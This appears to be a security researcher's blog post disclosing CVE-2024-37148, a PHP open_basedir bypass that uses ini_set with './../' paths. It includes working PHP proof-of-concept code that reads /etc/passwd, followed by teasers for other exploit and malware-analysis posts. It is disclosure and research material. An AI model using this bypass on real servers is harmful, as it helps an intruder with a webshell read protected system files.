Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaining a remote code execution and be restricted by open_basedir
and disable_functions
, preventing us from reading etc/passwd
or turning it into a remote shell. Let’s focus here on the former.
The directive open_basedir
can be set in the php.ini
file, and prevents PHP from reading file beyond a defined scope. For instance, if it is set to /var/www/html/myapp
, trying to execute file_get_contents("/etc/passwd")
should miserably fail. One could consider it as a security measure, but this is not everyone’s opinion. Let’s suppose now that an attacker managed to upload their webshell on a server where open_basedir
is enforced, and exec-like function disabled. How to read /etc/passwd
, then ?
It is quite well known that having the ability to call ini_set
at runtime could lead to an open_basedir
bypass. The latter is defined in a ini
file but can be tighten at runtime, meaning that we can programmatically add more directories to the directive as long as they are sub-directories from the first one. For instance, if chevre
is a child of /var/www/html/myapp
, one can add it in the directive:
open_basedir=/var/www/html/myapp:chevre/
but trying to add /etc
is forbidden.
To do so, the attacker first needs to create a sub-directory and to move into it (let’s assume we are in /var/www/html/myapp
, and the latter is writeable. Let’s also assume that open_basedir
is set to /var/www/html/myapp
, preventing it us from reading/writing in upper directories):
<?php
mkdir("dindon");
chdir("dindon");
Now, once the execution context has moved to the directory /var/www/html/myapp/dindon
, we can refer to the parent directory by appending ../
. Indeed, since this ../
would refer to /var/www/html/myapp
, the path would still belong to the already restricted path, and thus be allowed, leading to the following directive:
open_basedir=/var/www/html/myapp:../
Once done, we can simply move upper, and reach the Holy Grail:
<?php
mkdir("dindon");
chdir("dindon");
ini_set("open_basedir", ini_get("open_basedir").":../");
chdir(".."); //now we are in /var/www/html/myapp
chdir(".."); //now in /var/www/html
chdir(".."); //almost there, we are in /var/www
chdir(".."); //one step more, we are in /var
chdir(".."); //yay, we landed in /
The issue was reported https://bugs.php.net/bug.php?id=76359, and as someone wrote:
Indeed, this is not a security issue according to our classification[1].
Hmmm, still, the issue was patched, but still disputed, considered as a misused directive instead of a real bug (https://github.com/php/php-src/pull/7024).
I was peacefully working on a PHP tool to bypass disable_functions
directive, with the desire to first bypass open_basedir
. It was PHP 7.3.29 and the bypass was working like a charm. But when it came to run it on a VM with PHP 8.1, it failed. I was indeed not able to append ../
to the directive. Quite frustrated, I took a look at the issue, and then at its patch:
One can see here that the code checks whether the 1st and 2nd character are dots, and that the 3rd one is either a null or a slash. But what if the 2nd character is a slash, with a path being something like './..'
?
Indeed, I changed my payload to something like:
<?php
mkdir("dindon");
chdir("dindon");
ini_set("open_basedir", ini_get("open_basedir").":./../"); //here, prepend with ./
chdir(".."); //now we are in /var/www/html/myapp
chdir(".."); //now in /var/www/html
chdir(".."); //almost there, we are in /var/www
chdir(".."); //one step more, we are in /var
chdir(".."); //yay, we landed in /
and landed into /
I then wrote a small PoC and tried it on a Docker running PHP 8.2.2RC1.:
<?php
function read_etc_passwd(){
$content = @file_get_contents("/etc/passwd");
if ($content !== false){echo $content;}
else {echo "Nope, /etc/passwd not readable".PHP_EOL;}
}
echo "Running PHP version ".PHP_VERSION.PHP_EOL;
read_etc_passwd();
$path = "a/b/c";
$here = getcwd();
if (mkdir($path, 0777, true)){
chdir($path);
ini_set("open_basedir", ini_get('open_basedir').":../../../");
chdir($here);
echo "open_basedir directive is still ".ini_get('open_basedir').PHP_EOL;
read_etc_passwd();
}
$path = "d/e/f";
if (mkdir($path, 0777, true)){
chdir($path);
ini_set("open_basedir", ini_get('open_basedir').":./../../../");
chdir($here);
echo "open_basedir directive is now ".ini_get('open_basedir').PHP_EOL;
read_etc_passwd();
}
?>
And the result was as follows:
The issue was reported here and I guess that it will not be considered as a security issue. But still, does it really make sense to allow dot-dot-slash in such path ??
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...